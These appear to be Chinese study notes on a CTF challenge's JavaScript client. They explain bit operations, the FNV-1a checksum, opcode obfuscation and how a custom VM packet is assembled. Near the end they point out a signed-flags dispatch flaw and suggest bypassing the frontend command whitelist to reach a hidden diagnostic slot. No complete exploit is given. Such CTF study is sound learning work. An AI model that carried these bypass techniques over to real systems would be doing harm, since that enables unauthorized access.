    return { packet, meta };
  }

  async function run() {
    statusEl.textContent = '';
    outputEl.textContent = '(running)';
    packetEl.textContent = '';

    let ast;
    try {
      ast = parseScript(scriptEl.value);
    } catch (err) {
      outputEl.textContent = err.message;
      return;
    }

    try {
      const diagMode = diagModeEl && diagModeEl.checked;
      const built = buildPacket(ast);
      const packetB64 = toBase64(built.packet);
      packetEl.textContent = packetB64;
      if (diagMode) {
        outputEl.textContent = JSON.stringify(built.meta, null, 2);
      }

      const response = await fetch('/api/vm', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ packet_b64: packetB64 })
      });
      const data = await response.json();
      if (!data.ok) {
        outputEl.textContent = data.error || 'error';
        return;
      }
      if (diagMode) {
        const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
        outputEl.textContent = JSON.stringify(meta, null, 2);
      } else {
        outputEl.textContent = data.output_utf8 || '(empty)';
      }
    } catch (err) {
      outputEl.textContent = 'request failed';
    }
  }

  runBtn.addEventListener('click', run);
})();
立即执行函数(IIFE)解析

基本语法

javascript 复制代码
(() => { /* 代码 */ })();
javascript 复制代码
(function() { /* 代码 */ })();

定义与作用

  • 定义:定义一个函数并立即执行,形成私有作用域

  • 等价写法

    javascript 复制代码
    function f() { /* 代码 */ }
    f();

核心优势

  1. 防止变量污染全局作用域
  2. 常用于比赛/题目中隐藏逻辑

不使用IIFE的问题

javascript 复制代码
var a = 1;
var b = 2;
function test() {}

这些声明都会挂载到全局对象:

javascript 复制代码
window.a // 1
window.b // 2
window.test // function

潜在风险

  1. 变量冲突:

    javascript 复制代码
    // 其他脚本
    var a = 999; // 覆盖原有变量
  2. 安全漏洞:

    javascript 复制代码
    window.run = () => alert(1); // 恶意代码注入

使用IIFE的效果

javascript 复制代码
(() => {
  const a = 1;
  function test(){}
})();

等价于:

javascript 复制代码
function tmp(){
  const a = 1;
}
tmp();

结果

javascript 复制代码
window.a // undefined
window.test // undefined

关键特性

  • 变量隔离
  • 创建私有作用域

<< 是 JavaScript(以及 C/C++/Java/Python 等大多数语言)中的左移位运算符(Left Shift)。


基本语法

复制代码
a << b   // 把 a 的二进制位向左移动 b 位

直观理解

复制代码
// 假设我们有一个字节 0x1c(十进制 28)
const x = 0x1c;

// 二进制:0001 1100

// 左移 1 位
x << 1   // 0011 1000 = 0x38 = 56  (原数 × 2)

// 左移 2 位  
x << 2   // 0111 0000 = 0x70 = 112 (原数 × 4)

// 左移 24 位(这题的关键!)
x << 24  // 0001 1100 0000...0000 = 0x1c000000

其实就是常量。

快速换算公式

左移位数 十六进制零个数 倍数关系
4位 1个零 ×16
8位 2个零 ×256
16位 4个零 ×65536
24位 6个零 ×16777216
32位 8个零 溢出变0

2的4次方是16所以是4个0对应一个十六进制

这段代码:

复制代码
javascript 复制代码
function rotl32(value, shift) { 
return ((value << shift) | (value >>> (32 - shift))) >>> 0; 
}

作用只有一个:

把 32 位整数向左"循环旋转" shift 位

英文叫:

👉 Rotate Left 32-bit(ROL32)

简称:循环左移

✅ 目标:

将一个 32 位整数 value 的二进制位 向左循环移动 shift

举个例子(用 8 位简化说明):
0b11001010 循环左移 3 位 → 0b01010110

(左边移出去的 3 位 110 从右边补回来)


🧮 具体步骤(以 32 位为例)

假设 value = 0x12345678(32 位),shift = 5

  1. value << shift

    • value 左移 shift
    • 高位丢弃,低位补 0
    • 例如:0x12345678 << 5 → 低 27 位保留,高 5 位丢失
  2. value >>> (32 - shift)

    • value 无符号右移 (32 - shift)
    • 这会把原本要"循环回来"的高位移到低位
    • >>>无符号右移(逻辑右移),高位补 0(不是符号位!)
  3. |(按位或)

    • 把左移的结果 和 右移的结果 合并
    • 就得到了"循环左移"后的完整值
  4. >>> 0

    • JS 中所有位运算结果都是 32 位有符号整数
    • >>> 0 强制转为 32 位无符号整数 (等价于 & 0xFFFFFFFF

🌰 举个具体例子(32 位)

复制代码
rotl32(0x12345678, 8)
  • 原始值:00010010 00110100 01010110 01111000
  • 左移 8 位:00110100 01010110 01111000 00000000
  • 右移 24 位(32-8):00000000 00000000 00000000 00010010
  • 按位或:00110100 01010110 01111000 000100100x34567812

✅ 这就是 循环左移 8 位 的结果!

✅ 简短回答:

是的,在 JavaScript 中,<< 左移操作总是低位补 0,高位直接丢弃

🔹 一、>>> 是什么?

在 JavaScript 中,>>> 叫做 无符号右移(Zero-fill right shift)

对比三种右移:

表格

操作符 名称 行为
>> 算术右移(有符号) 高位补 符号位(正数补 0,负数补 1)
>>> 逻辑右移(无符号) 高位永远补 0,不管原数正负

🌰 举个例子(32 位):

复制代码
let x = -1;          // 二进制:11111111 11111111 11111111 11111111

x >> 1               // → -1 (高位补 1,还是全 1)
x >>> 1              // → 2147483647 (高位补 0 → 011111...1)

再比如:

复制代码
0x80000000           // 这是 2147483648,但在 JS 里会被当作 -2147483648(因为超出 32 位有符号范围)

(0x80000000) >> 1    // → -1073741824(符号扩展)
(0x80000000) >>> 1   // → 1073741824(高位补 0,正确无符号值)

✅ 所以在处理 二进制协议、哈希、加密 时,必须用 >>> 来避免符号干扰!


🔹 二、为什么"按位或(|)"可以实现循环移位?

这是位运算的精妙之处!我们用 8 位简化版 来理解(原理一样,只是位数少)。

目标:把 11001010(0xCA)循环左移 3 位

期望结果:

  • 原始:11001010
  • 左移 3 位(普通):01010000(左边 3 位 110 丢了)
  • 循环左移:把丢掉的 110 补到右边 → 01010110

怎么做到?分两步:

步骤 1️⃣:左移 n 位 → 得到主体部分
复制代码
11001010 << 3 = 01010000

(高位丢弃,低位补 0)

步骤 2️⃣:右移 (总位数 - n) 位 → 得到要"绕回来"的部分
复制代码
11001010 >>> (8 - 3) = 11001010 >>> 5 = 00000110

(把左边要丢的 3 位移到右边)

步骤 3️⃣:把两部分 按位或(|
复制代码
  01010000   ← 左移结果
| 00000110   ← 右移结果
-----------
  01010110   ← 完美!就是循环左移结果

按位或的作用:把两个不重叠的位段"拼起来"!

因为:

  • 左移后的低 n 位全是 0
  • 右移后的高 (32-n) 位全是 0
  • 所以它们的 1 的位置完全不重叠| 就等于"合并"

🧠 回到 32 位的 rotl32

复制代码
(value << shift)        // 主体左移,低 shift 位 = 0
(value >>> (32 - shift)) // 被挤出去的高 shift 位,移到低 shift 位
|                       // 合并 → 完整循环左移!

好吧其实记住循环左移是啥就行了。

一、先搞懂:0b 是什么?和 0x 有啥区别?

0b/0x都是 JavaScript 中数字的字面量前缀,只是表示的进制不同,核心都是同一个数字,只是写法不一样:

前缀 进制 例子(对应十进制 145) 用途
0b 二进制 0b10010001 直观展示 "每一位的二进制值"(适合位运算场景,比如循环移位)
0x 十六进制 0x91(因为 145=9*16+1) 适合简写(二进制 8 位 = 十六进制 2 位)
无前缀 十进制 145 日常数字写法
javascript 复制代码
function fnv1a32(bytes) {
    let hash = 0x811c9dc5;
    for (let i = 0; i < bytes.length; i += 1) {
      hash ^= bytes[i];
      hash = (hash * 0x01000193) >>> 0;
    }
    return hash >>> 0;
  }

这是 FNV-1a 哈希算法(Fowler-Noll-Vo variant 1a),一种快速、简单的非加密哈希函数。

复制代码
初始值:hash = 0x811c9dc5(FNV偏移基值,魔数)

对每个字节:
    1. hash = hash XOR 当前字节    (异或混合)
    2. hash = hash × 0x01000193    (乘FNV质数,扩散)
    
最后返回 hash

回到你题目:

javascript 复制代码
const checksum = fnv1a32(body);

packet.set(u32le(checksum), body.length);

意思:

👉 给 packet 做校验。

但你能算 → 等于没防

总结

问题 答案
这是啥? FNV-1a 32位哈希
加密吗? 不加密,只是完整性校验
能破解吗? 不需要破解,直接复刻算法
为什么用? 快、简单、够用的校验
攻击注意? 改任何字节都要重新算 checksum!
javascript 复制代码
function encodeOp(opId, nonceLow32) {
    const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
    const base = ((opId ^ K1) + rot) >>> 0;
    return ((base ^ K3) | 0x80000000) >>> 0;
  }

opId

↓ xor K1

↓ 加 nonce 扰动

↓ xor K3

↓ 强制最高位1

= opcode

1. & ------ 按位与(AND)

✅ 规则:

对两个数的每一位进行比较:

  • 只有当 两个位都是 1 时,结果才是 1

  • 否则为 0

    复制代码
    00000101   (5)

    & 00000011 (3)

    复制代码
    00000001   → 结果是 1

🔹 2. ^------ 按位异或(XOR)

✅ 规则:

对两个数的每一位进行比较:

  • 相同为 0,不同为 1

🔍 逐行解析 encodeOp

第 1 行:生成动态旋转偏移量

复制代码
const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
分步解释:
  1. nonceLow32 ^ K2

    • nonceLow32:8 字节随机数(nonce)的低 32 位(每次请求都不同)
    • 和密钥 K2 异或 → 引入 随机性 + 密钥保护
  2. rotl32(..., ROT)

    • 对结果循环左移 ROT=11 位 → 打乱 bit 位置(扩散)
  3. & 0xfffffffc

    • 清除最低 2 位(强制最后两位为 0)
    • 目的:确保 rot4 的倍数(后面用于地址对齐?或隐藏信息?)

结果rot 是一个 依赖 nonce 和密钥的动态偏移量,每次 packet 都不同!


第 2 行:计算基础值

复制代码
const base = ((opId ^ K1) + rot) >>> 0;
  1. opId ^ K1

    • 原始指令 ID(如 ECHO=0)与密钥 K1 异或 → 静态混淆
  2. + rot

    • 加上前面生成的动态偏移量 → 让最终 opCode 每次都变

✅ 这一步把 静态指令动态 nonce 结合起来了!


第 3 行:最终混淆 + 标记

复制代码
return ((base ^ K3) | 0x80000000) >>> 0;
  1. base ^ K3

    • 再次用密钥 K3 异或 → 多一层混淆
  2. | 0x80000000

    • 强制最高位(bit 31)为 1
    • 效果:最终 opCode 一定 ≥ 0x80000000(即 ≥ 2147483648)

    💡 为什么这么做?

    • 后端可能用最高位判断"这是合法混淆过的 opcode"
    • 防止攻击者传入小数值(如 0,1,2)绕过检查
    • 在有符号整数中,这会让值变成负数,但后端用无符号处理
  3. >>> 0

    • 确保返回 无符号 32 位整数

🎯 整体目的总结

步骤 作用
引入 nonce 让每次生成的 opCode 都不同(防重放)
三层密钥混淆(K1/K2/K3) 防止静态分析出原始 opId
强制最高位为 1 添加合法性标记,阻止直接使用原始 opId(0/1/2)
动态 + 静态结合 即使你知道算法,没有 nonce 也无法伪造

这三个函数是 前端将二进制数据打包成 Base64 字符串 的关键工具,用于构造发往后端的 packet_b64。我们逐个解释它们的作用、原理和为什么这样写。


🔹 1. u32le(value) ------ 把 32 位整数转成 小端序(Little Endian)字节数组

✅ 目的:

把一个数字(如 0x12345678)拆成 4 个字节,并按 低位在前 的顺序排列。

📌 小端序(LE) vs 大端序(BE)

数值(十六进制) 小端序(内存/网络常见) 大端序
0x12345678 [0x78, 0x56, 0x34, 0x12] [0x12, 0x34, 0x56, 0x78]

💡 x86 CPU、大多数协议(如 PNG、ZIP、你这个 CTF 题)都用 小端序

🔍 代码解析:

复制代码
function u32le(value) {
  return [
    value & 0xff,         // 取最低 8 位(byte 0)
    (value >>> 8) & 0xff, // 取第 8~15 位(byte 1)
    (value >>> 16) & 0xff,// 取第 16~23 位(byte 2)
    (value >>> 24) & 0xff // 取最高 8 位(byte 3)
  ];
}
🌰 例子:
复制代码
u32le(0x12345678)
// 返回: [0x78, 0x56, 0x34, 0x12]

✅ 这就是标准的小端序表示!


🔹 2. u16le(value) ------ 把 16 位整数转成 小端序字节数组

原理同上,只是 2 字节:

复制代码
function u16le(value) {
  return [
    value & 0xff,         // 低字节
    (value >>> 8) & 0xff  // 高字节
  ];
}
🌰 例子:
复制代码
u16le(0x1234)
// 返回: [0x34, 0x12]

💡 在你的 packet 协议中,arg_len(参数长度)就是用 u16le 写入的!


🔹 3. toBase64(bytes) ------ 把 Uint8Array 转成 Base64 字符串

✅ 目的:

浏览器原生的 btoa() 只能处理字符串 ,不能直接处理二进制数组。

所以需要先把 bytes(如 [72, 101, 108])转成"伪字符串",再调用 btoa

🔍 代码解析:

复制代码
function toBase64(bytes) {
  let binary = '';
  for (let i = 0; i < bytes.length; i++) {
    // 把每个字节当作 Latin-1 字符(0~255 映射到 Unicode U+0000~U+00FF)
    binary += String.fromCharCode(bytes[i]);
  }
  return btoa(binary); // btoa 编码为 Base64
}
🌰 例子:
复制代码
toBase64([72, 101, 108]) 
// Step1: binary = "Hel" (因为 H=72, e=101, l=108)
// Step2: btoa("Hel") → "SGVs"

⚠️ 注意:这不是 UTF-8!而是 Latin-1(ISO-8859-1)编码,每个字节直接对应一个字符。

javascript 复制代码
function parseScript(text) {
  // 1. 按行分割、去空格、过滤空行
  const lines = text.split(/\r?\n/).map((line) => line.trim()).filter(Boolean);
  
  // 2. 把每一行解析成 { op: "ECHO", arg: "hello" } 这样的对象
  return lines.map((line) => {
    // 3. 用空白符(空格、制表符等)分割命令和参数
    const [cmd, ...rest] = line.split(/\s+/);
    
    // 4. 把参数部分重新拼成字符串(支持带空格的参数)
    const arg = rest.join(' ');
    
    // 5. 命令转大写(不区分大小写)
    const upper = cmd.toUpperCase();
    
    // 6. 只允许三个公开指令,否则报错
    if (!['ECHO', 'LEN', 'HASH'].includes(upper)) {
      throw new Error(`Unknown command: ${cmd}`);
    }
    
    // 7. 返回结构化指令
    return { op: upper, arg };
  });
}

🌰 举个例子

假设用户在输入框写了:

复制代码
echo Hello World
LEN   my string
hash secret

经过 parseScript 处理后,返回:

复制代码
[
  { op: "ECHO", arg: "Hello World" },
  { op: "LEN",  arg: "my string" },
  { op: "HASH", arg: "secret" }
]

✅ 它做了这些事:

  • 忽略空行
  • 去掉每行首尾空格
  • 命令不区分大小写(echoECHO
  • 参数支持空格(Hello World 不会被截断)
  • 阻止使用未公开指令(如 SECRET

但是前端限制

markdown 复制代码
# 代码解析:文本处理三连击

## 核心操作分解
```javascript
const lines = text.split(/\r?\n/).map(line => line.trim()).filter(Boolean);

等效分步实现:

javascript 复制代码
let a = text.split(/\r?\n/);
let b = a.map(line => line.trim());
let c = b.filter(Boolean);
const lines = c;

逐步解析

第一步:拆分文本行

text.split(/\r?\n/)

javascript 复制代码
let text = " ECHO hi \n\n LEN test \n";
复制代码
[ " ECHO hi ", "", " LEN test ", "" ]

第二步:去除空白字符

.map(line => line.trim())

处理效果:

复制代码
[" a ", " b "].map(x => x.trim()) → ["a","b"]

当前处理结果:

复制代码
[ "ECHO hi", "", "LEN test", "" ]

第三步:过滤空行

.filter(Boolean)

等价于:

javascript 复制代码
.filter(x => Boolean(x))

处理逻辑:

  • Boolean("") → false
  • Boolean("abc") → true

最终结果:

复制代码
[ "ECHO hi", "LEN test" ]

后续处理

对处理后的行数组进一步操作:

javascript 复制代码
lines.map(line => { ... })

示例转换:

复制代码
["ECHO hi","LEN test"] → [ {op:"ECHO",arg:"hi"}, {op:"LEN",arg:"test"} ]

方法速查表

方法 作用 是否修改原数组
map 数据转换
filter 数据筛选
split 字符串拆分 -

实践建议

测试代码:

javascript 复制代码
let text = " hi \n\n ok \n 123 ";
let lines = text.split(/\r?\n/).map(x => x.trim()).filter(Boolean);
console.log(lines);

核心总结

实现功能:

  1. 按行拆分文本
  2. 去除每行首尾空白
  3. 过滤空白行 最终获得标准化文本行数组。
复制代码

**map((line) => { ... })**表示:

对数组中的每个元素执行指定函数。

分解说明: 1️⃣ map 方法的作用: 数组的 map 方法语法:

javascript 复制代码
数组.map(函数)

功能:将数组每个元素传入指定函数进行处理。

2️⃣ 箭头函数 (line) => { ... }: 这是 ES6 的箭头函数语法,等价于:

javascript 复制代码
function(line) {
    ...
}

完整示例:

javascript 复制代码
lines.map((line) => {
    return line + "!";
});

等价写法:

javascript 复制代码
lines.map(function(line) {
    return line + "!";
});
javascript 复制代码
function buildPacket(ast) {

  /* ================== 1. 生成随机 nonce ================== */

  // 创建 8 字节的数组(初始全 0)
  const nonce = new Uint8Array(8);

  // 用安全随机数填充 nonce(原地修改)
  crypto.getRandomValues(nonce);

  // 取 nonce 前 4 字节,转成 32 位整数(小端)
  const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);


  /* ================== 2. 读取 flags(调试模式) ================== */

  // 如果勾选了调试模式 → flags=1,否则=0
  const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00;

//如果 diagModeEl 存在 并且 被勾选
//    → flags = 1
//否则
//    → flags = 0



  /* ================== 3. 初始化字节缓冲区 ================== */

  // chunks 用来存放最终要发送的所有字节
  const chunks = [];


  /* ================== 4. 写入协议头 ================== */

  // 写入魔数 "WVLT"(协议标识)
  chunks.push(...encoder.encode('WVLT'));

  // 写入版本号 0x01
  chunks.push(0x01);

  // 写入 8 字节随机 nonce
  chunks.push(...nonce);

  // 写入指令数量(1字节)
  chunks.push(ast.length & 0xff);


  /* ================== 5. 指令映射表 ================== */

  // 把字符串命令映射为数字 opcode
  const opMap = {
    ECHO: 0,
    LEN: 1,
    HASH: 2
  };

  // 用于存调试信息(给前端看的)
  const instructions = [];


  /* ================== 6. 处理 flags 的符号位 ================== */

  // 把 flags 转成有符号 int8
  // 可能变成负数(用来走隐藏分支)
  const signedFlags = (flags << 24) >> 24;


  /* ================== 7. 处理每条指令 ================== */

  ast.forEach((node) => {

    /* ---- 7.1 获取 opcode ---- */

    // 例如:ECHO → 0
    const opId = opMap[node.op];


    /* ---- 7.2 参数转字节 ---- */

    // 把字符串参数转为 UTF-8 字节
    const argBytes = encoder.encode(node.arg);


    /* ---- 7.3 混淆 opcode ---- */

    // 使用 nonce + 密钥加密 opcode
    const opCode = encodeOp(opId, nonceLow32);


    /* ---- 7.4 计算 VM 分发索引(漏洞点) ---- */

    // 如果 flags 是负数 → 使用兼容分发模式
    // 否则 → 正常分发
    const dispatchIndex = signedFlags < 0
      ? (((signedFlags >>> 0) | opId) % 4)
      : (opId % 4);


    /* ---- 7.5 写入指令到字节流 ---- */

    // 写入 4 字节 opcode(小端)
    chunks.push(...u32le(opCode));

    // 写入 1 字节 flags
    chunks.push(flags);

    // 写入 2 字节参数长度
    chunks.push(...u16le(argBytes.length));

    // 写入参数内容
    chunks.push(...argBytes);


    /* ---- 7.6 保存调试信息 ---- */

    instructions.push({
      op: node.op,                 // 指令名
      op_id: opId,                 // opcode
      flags,                       // 原始 flags
      signed_flags: signedFlags,   // 有符号 flags
      dispatch_index: dispatchIndex, // 分发索引
      arg_len: argBytes.length     // 参数长度
    });

  });


  /* ================== 8. 生成完整 body ================== */

  // 把数组转成真正的 Uint8Array
  const body = Uint8Array.from(chunks);


  /* ================== 9. 计算校验和 ================== */

  // 使用 FNV1A 算法计算 hash
  const checksum = fnv1a32(body);


  /* ================== 10. 拼接校验和 ================== */

  // 新建数组:body + 4字节校验
  const packet = new Uint8Array(body.length + 4);

  // 拷贝 body
  packet.set(body, 0);

  // 在末尾写入 checksum
  packet.set(u32le(checksum), body.length);


  /* ================== 11. 生成调试规则说明 ================== */

  const dispatchRules = [
    'signed_flags >= 0: dispatch index follows op_id',
    'signed_flags < 0: compatibility dispatch uses flags in index',
    'dispatch table has 4 slots (including internal diagnostic slot)'
  ];


  /* ================== 12. 构造调试信息 ================== */

  const meta = {

    // 总长度
    total_len: packet.length,

    // 指令数量
    count: ast.length,

    // 当前模式
    mode: flags === 1 ? 'diagnostic' : 'normal',

    // flags 值
    flags,

    // 分发规则
    dispatch_rules: dispatchRules,

    // 每条指令信息
    instructions
  };


  /* ================== 13. 返回结果 ================== */

  // packet:真正发给服务器的
  // meta:前端显示用
  return {
    packet,
    meta
  };
}
javascript 复制代码
AST: [{op:"ECHO", arg:"hello"}]
    ↓
┌────────────────────────────────────────┐
│ 1. 生成随机 nonce(8字节)              │
│ 2. 设置 flags(诊断模式?)              │
│ 3. 拼包头(魔数+版本+nonce+指令数)      │
│ 4. 对每个指令:编码 → 混淆 → 拼入 body   │
│ 5. 计算校验和(FNV-1a)                 │
│ 6. 返回 packet + meta(调试用)         │
└────────────────────────────────────────┘
    ↓
{ packet: Uint8Array, meta: {...} }

push 就是 数组自带的方法,用来往数组后面加东西。

... 就是:

👉 把「一坨数组」拆成「一个个元素」

TextEncoder 使用说明

1. 初始化编码器

javascript 复制代码
const encoder = new TextEncoder();

创建一个文本编码器实例,默认采用 UTF-8 编码方案将字符串转换为字节数据。

2. 功能概述

JavaScript 内置的 TextEncoder 类专门用于:

  • 将字符串转换为 UTF-8 编码的字节数组

等效于其他语言的实现:

  • Python: "abc".encode()
  • C 语言: utf8 编码

3. 编码示例

javascript 复制代码
encoder.encode('WVLT')

编码过程

复制代码
"W" → 0x57 → 87
"V" → 0x56 → 86
"L" → 0x4C → 76
"T" → 0x54 → 84

返回结果

javascript 复制代码
Uint8Array([87, 86, 76, 84])

4. 验证方法

在浏览器控制台执行:

javascript 复制代码
const enc = new TextEncoder();
console.log(enc.encode("WVLT"));

Uint8Array 不是普通数组,它是「带元数据的对象」。

你看到的那些"多出来的东西"是它的属性,不是数据。

为什么不能直接用字符串或数字,而要转成字节数组(Uint8Array)再拼 packet?

答案是:因为网络协议和二进制文件只认"字节",不认 JavaScript 的字符串或数字!

1️⃣ JavaScript 的数据类型 ≠ 二进制格式
JS 类型 实际内存表示 协议需要的格式
"WVLT" UTF-16 字符串(每个字符 2 字节) UTF-8 字节(每个字符 1 字节)
12345 64 位浮点数(IEEE 754) 32 位小端整数(4 字节)

✅ 所以必须用 TextEncoderu32le 等工具 转换成标准字节序列

javascript 复制代码
const signedFlags = (flags << 24) >> 24; 

它其实是在 把一个 8 位无符号整数(0~255)当作有符号字节(-128 ~ 127)

在 JS 里:

👉 一旦用位运算:

数字会先变成 32 位有符号整数

范围:

-2^31 ~ 2^31-1

这是关键。

👉 JavaScript 当年设计时,为了性能和兼容 C,规定:位运算只能在 int32 上跑

所以:

所有位运算 → 自动转 int32。

这是写进语言规范里的。

二、forEach 方法解析

ast.forEach((node) => { ... })

该方法的作用是遍历 ast 数组中的每个元素,并对每个元素执行指定的回调函数。

其功能等价于以下 for 循环:

for (let i = 0; i < ast.length; i++) { let node = ast[i]; // 执行操作 }

其中,node 参数代表数组中的单个元素,例如一个指令对象:

{ op: "ECHO", arg: "hello" }

{ op: "ECHO", arg: "hello" } 是一个 JavaScript 对象。

可以理解为:

  • 一个小型键值对集合(类似字典)
  • 一个数据结构容器(类似盒子)
  • 一个简单的结构化数据单元

该对象包含两个属性:

  • op 属性值为 "ECHO"
  • arg 属性值为 "hello"

访问属性的两种方式:

  1. 点表示法:node.op
  2. 方括号表示法:node["op"]

这两种访问方式是等效的。

👉 90% 的对象,本质就是这种结构:

{ key: value, key2: value2, ... }

javascript 复制代码
const dispatchIndex = signedFlags < 0
        ? (((signedFlags >>> 0) | opId) % 4)
        : (opId % 4);
复制代码
条件 ? 表达式1 : 表达式2
  • 如果 条件 为真(truthy),整个表达式的值是 表达式1
  • 否则,值是 表达式2

const signedFlags = (flags << 24) >> 24;

复制代码
opId = opMap[node.op];这里opid是取的已有的,正常不会有3

👉 encoder.encode() 只是把字符串变成字节

👉 Uint8Array.from(chunks) 是把所有零散字节拼成一个整体包

将数据包内容从起始位置开始复制:

javascript 复制代码
packet.set(body, 0);  // 从索引0开始复制body数组内容

等价实现方式:

javascript 复制代码
for (let i = 0; i < body.length; i++) {
    packet[i] = body[i];
}

在数据包末尾写入校验和:

javascript 复制代码
packet.set(u32le(checksum), body.length);  // 将校验和写入body末尾

u32le函数说明:

javascript 复制代码
// 返回32位整数的小端字节序数组
// 示例:checksum = 0x12345678
// 输出:[0x78, 0x56, 0x34, 0x12]

实际写入过程:

javascript 复制代码
packet[body.length]   = 0x78;  // 最低字节
packet[body.length+1] = 0x56;
packet[body.length+2] = 0x34;
packet[body.length+3] = 0x12;  // 最高字节

✅ 一、解析代码语句:

chunks.push(...encoder.encode('WVLT'));

分步解析:

1️⃣ encoder.encode('WVLT') 执行结果:

javascript 复制代码
Uint8Array [87, 86, 76, 84]

2️⃣ 展开运算符 ... 的作用:

javascript 复制代码
...Uint8Array
等价于:
87, 86, 76, 84

3️⃣ push(...) 的最终效果:

javascript 复制代码
chunks.push(87, 86, 76, 84);

✅ 二、当前 chunks 的数据结构 示例:

javascript 复制代码
chunks = [87, 86, 76, 84, 1, 52, 18, ...]

性质说明: 👉 这是一个普通的 JavaScript 数组(Array) 👉 不是二进制 buffer

✅ 三、Array 与 Uint8Array 的核心差异(关键点) 虽然表面相似:

javascript 复制代码
[65, 66, 67] 和 Uint8Array [65, 66, 67]

但底层实现完全不同:

🔴 普通 Array

javascript 复制代码
let a = [65, 66, 67];

特性:

  • 元素存储为 JS Number(64位浮点)
  • 内存非连续分配
  • 包含对象包装
  • 不能直接作为字节流传输 类比: 📦 散装零件的收纳盒

🟢 Uint8Array

javascript 复制代码
let b = new Uint8Array([65, 66, 67]);

特性:

  • 每个元素占 1 字节
  • 内存连续分配
  • 无对象包装
  • 可直接用于网络传输 类比: 📦 密封完好的金属块

关于 packet.set() 方法的使用说明

packet 是一个 Uint8Array,而 setTypedArray(类型化数组)的内置方法,主要用于字节块的拷贝

这个知识点在协议解析 / 二进制处理 / CTF 中非常常见,务必掌握!


一、set 方法的标准语法

js 复制代码
typedArray.set(source, offset)

适用类型
Uint8ArrayInt32ArrayFloat64Array 等所有 TypedArray

参数说明

  1. source(数据源)

    可以是:

    • 普通数组:[1, 2, 3]
    • Uint8Arraynew Uint8Array(...)
    • 其他 TypedArray
  2. offset(起始位置)

    • 表示从目标数组的第几个字节开始写入数据。
    • 单位是字节索引(不是位)。

二、题目中的代码解析

js 复制代码
packet.set(body, 0);

含义

  • packet[0] 开始
  • body 的全部内容复制到 packet

等价于

js 复制代码
for (let i = 0; i < body.length; i++) {
    packet[i] = body[i];
}

以下是 JavaScript 中数组字面量的写法:

javascript 复制代码
const dispatchRules = ['规则1', '规则2', '规则3'];

这种写法等价于使用 Array 构造函数:

javascript 复制代码
const dispatchRules = new Array('规则1', '规则2', '规则3');

不过现在更推荐使用方括号 [] 的简洁写法。

javascript 复制代码
 async function run() {
    statusEl.textContent = '';
    outputEl.textContent = '(running)';
    packetEl.textContent = '';

    let ast;
    try {
      ast = parseScript(scriptEl.value);
    } catch (err) {
      outputEl.textContent = err.message;
      return;
    }

异步函数解析流程解析

一、异步函数定义

javascript 复制代码
async function run() {
  • 这是一个异步函数声明
  • 特点:
    • 函数内部可以使用await
    • 默认返回Promise对象
  • 典型应用场景:处理网络请求、I/O操作、加密运算等耗时操作

二、界面初始化

javascript 复制代码
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';
  • 元素说明:

    • statusEl:状态显示区域
    • outputEl:输出结果显示区域
    • packetEl:二进制数据显示区域
  • 功能说明:

    代码行 功能
    statusEl 清空状态显示
    outputEl 显示运行中状态
    packetEl 清空二进制数据

三、变量声明

javascript 复制代码
let ast;
  • 在函数作用域内预先声明ast变量
  • 后续将在try块中进行赋值

四、异常处理机制

javascript 复制代码
try {
  ast = parseScript(scriptEl.value);
} catch (err) {
  outputEl.textContent = err.message;
  return;
}

解析过程说明

  • parseScript(scriptEl.value)

    • 获取输入框内容
    • 解析为抽象语法树(AST)

    示例转换:

    text 复制代码
    输入:ECHO hello LEN abc
    输出:
    [
      { op:"ECHO", arg:"hello" },
      { op:"LEN", arg:"abc" }
    ]

异常处理必要性

  • 可能出现的错误情况(如非法输入):

    text 复制代码
    ECHO ??? 123123
  • 未处理异常的后果:

    • JavaScript执行中断
    • 页面功能失效

catch块功能

  1. 捕获解析错误
  2. 在输出区域显示错误信息
  3. 通过return终止函数继续执行

五、执行流程图解

graph TD A[点击Run按钮] --> B[清空界面状态] B --> C{尝试解析代码} C -->|成功| D[继续后续操作] C -->|失败| E[显示错误信息并终止]

六、最小化示例

javascript 复制代码
async function test() {
  let x;
  try {
    x = JSON.parse("{bad json}");
  } catch (e) {
    console.log("出错了:", e.message);
    return;
  }
  console.log("成功:", x);
}
test();
  • 此示例会触发catch块执行
javascript 复制代码
async function run() {
    statusEl.textContent = '';
    outputEl.textContent = '(running)';
    packetEl.textContent = '';

    let ast;
    try {
      ast = parseScript(scriptEl.value);
    } catch (err) {
      outputEl.textContent = err.message;
      return;
    }

    try {
      const diagMode = diagModeEl && diagModeEl.checked;
      const built = buildPacket(ast);
      const packetB64 = toBase64(built.packet);
      packetEl.textContent = packetB64;
      if (diagMode) {
        outputEl.textContent = JSON.stringify(built.meta, null, 2);
      }

      const response = await fetch('/api/vm', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ packet_b64: packetB64 })
      });
      const data = await response.json();
      if (!data.ok) {
        outputEl.textContent = data.error || 'error';
        return;
      }
      if (diagMode) {
        const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
        outputEl.textContent = JSON.stringify(meta, null, 2);
      } else {
        outputEl.textContent = data.output_utf8 || '(empty)';
      }
    } catch (err) {
      outputEl.textContent = 'request failed';
    }
  }

  runBtn.addEventListener('click', run);

async 是啥 

🧩 整体目标 用户通过在文本框中输入指令(如 ECHO hello)→ 点击 "Run" → 后端执行指令 → 显示输出结果

⚠️ CTF 技巧:可以绕过前端限制,触发隐藏指令!

🔍 实现细节解析 1️⃣ 初始化界面状态

js 复制代码
statusEl.textContent = '';
outputEl.textContent = '(running)';
packetEl.textContent = '';

清除之前的状态,显示"(running)"提示

2️⃣ 解析用户脚本(前端限制点)

js 复制代码
let ast;
try {
  ast = parseScript(scriptEl.value); // 仅允许ECHO/LEN/HASH指令
} catch (err) {
  outputEl.textContent = err.message;
  return;
}

✅ 关键点:parseScript会拒绝非法指令(如SECRET) ❌ 但后端不验证指令名称,只根据packet中的dispatch_index执行 💡 CTF提示:可以直接构造AST绕过parseScript限制(如[{op:"ECHO",arg:"test"}]

3️⃣ 构造并发送数据包

js 复制代码
const diagMode = diagModeEl && diagModeEl.checked;
const built = buildPacket(ast); // 核心编译逻辑
const packetB64 = toBase64(built.packet);
